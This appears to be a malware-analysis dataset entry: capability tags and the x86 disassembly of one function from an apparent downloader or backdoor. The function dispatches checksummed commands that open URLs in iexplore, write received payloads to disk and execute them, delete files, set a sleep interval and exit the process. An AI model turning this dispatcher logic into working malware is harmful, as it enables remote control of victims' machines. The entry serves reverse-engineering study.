Function at 0x100078a9
Capabilities:
Create process on windows
Delete file
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
je 0x100078c4
cmp dword [ebp + 0xc], 3
jae 0x100078cb
xor eax, eax
jmp 0x10007ee9
push 4
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax - 4]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.1000720b
add esp, 0xc
call fcn.10007f53
mov eax, dword [ebp + 0xc]
sub eax, 4
push eax
push dword [ebp + 8]
call fcn.10007ef0
pop ecx
pop ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0xc]
je 0x1000790c
xor eax, eax
jmp 0x10007ee9
cmp dword [ebp + 8], 0
je 0x10007ed8
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
and dword [ebp - 0x434], 0
jmp 0x10007942
mov eax, dword [ebp - 0x434]
inc eax
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x434]
cmp eax, dword [ebp - 0x14]
jae 0x10007ebf
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x43c], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x43c]
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 1
je 0x100079cc
cmp dword [ebp - 0x440], 2
je 0x10007a4e
cmp dword [ebp - 0x440], 3
je 0x10007bbc
cmp dword [ebp - 0x440], 4
je 0x10007d15
cmp dword [ebp - 0x440], 5
je 0x10007e04
cmp dword [ebp - 0x440], 6
je 0x10007e1e
cmp dword [ebp - 0x440], 8
je 0x10007e2b
jmp 0x10007eba
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x100079fe
jmp 0x10007ee7
push dword [ebp - 0x20]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.1000720b
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x20]
and byte [eax], 0
push 5
push 0
push 0
push dword [ebp - 8]
push str.iexplore
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
jmp 0x10007eba
mov eax, dword [ebp - 4]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10007a92
jmp 0x10007ee5
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.1000720b
add esp, 0xc
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
and byte [ecx + eax], 0
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
add ecx, dword [eax]
mov dword [ebp - 4], ecx
push 0x1000ad7c
lea eax, [ebp - 0x428]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
lea eax, [ebp - 0x428]
push eax
call fcn.10007601
pop ecx
pop ecx
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0xffffffff
je 0x10007b9a
push 0
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 0x10]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [eax]
jne 0x10007b80
push 5
push 0
push 0
lea eax, [ebp - 0x428]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0x20
ja 0x10007b6b
mov eax, dword [ebp - 0x438]
add eax, 0x4e20
push eax
call fcn.100075f7
pop ecx
jmp 0x10007b7e
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x10007b98
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x4e20
call fcn.100075f7
pop ecx
jmp 0x10007ba5
push 0x4e21
call fcn.100075f7
pop ecx
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10007eba
mov eax, dword [ebp - 4]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10007c00
jmp 0x10007ee3
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.1000720b
add esp, 0xc
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
and byte [ecx + eax], 0
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
add ecx, dword [eax]
mov dword [ebp - 4], ecx
push 0x1000ad80
lea eax, [ebp - 0x428]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
lea eax, [ebp - 0x428]
push eax
call fcn.10007601
pop ecx
pop ecx
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0xffffffff
je 0x10007cf3
push 0
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 0x10]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [eax]
jne 0x10007cd9
push 5
push 0
push 0
lea eax, [ebp - 0x428]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0x20
ja 0x10007cd7
mov eax, dword [ebp - 0x438]
add eax, 0x4e20
push eax
call fcn.100075f7
pop ecx
jmp 0x10007cf1
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x4e20
call fcn.100075f7
pop ecx
jmp 0x10007cfe
push 0x4e21
call fcn.100075f7
pop ecx
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10007eba
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
jle 0x10007d70
mov eax, dword [ebp - 0x20]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10007d4d
jmp 0x10007ee1
push dword [ebp - 0x20]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.1000720b
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x20]
and byte [eax], 0
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10007da2
jmp 0x10007edf
push dword [ebp - 0x20]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.1000720b
add esp, 0xc
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x20]
and byte [eax], 0
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
push 1
push dword [ebp - 8]
push dword [ebp - 0x10]
call fcn.1000868b
add esp, 0xc
cmp dword [ebp - 0x20], 0
je 0x10007ded
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10007eba
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
imul eax, eax, 0x3c
mov dword [0x1000a7b8], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
jmp 0x10007eba
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10007e6c
jmp 0x10007edd
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.1000720b
add esp, 0xc
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
and byte [ecx + eax], 0
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
add ecx, dword [eax]
mov dword [ebp - 4], ecx
push dword [ebp - 0x10]
call fcn.100036bc
pop ecx
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10007935
mov dword [ebp - 0x18], 1
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 1
pop eax
jmp 0x10007ee9
jmp 0x10007ed8
jmp 0x10007ed8
jmp 0x10007ed8
jmp 0x10007ed8
jmp 0x10007ed8
jmp 0x10007ed8
leave
ret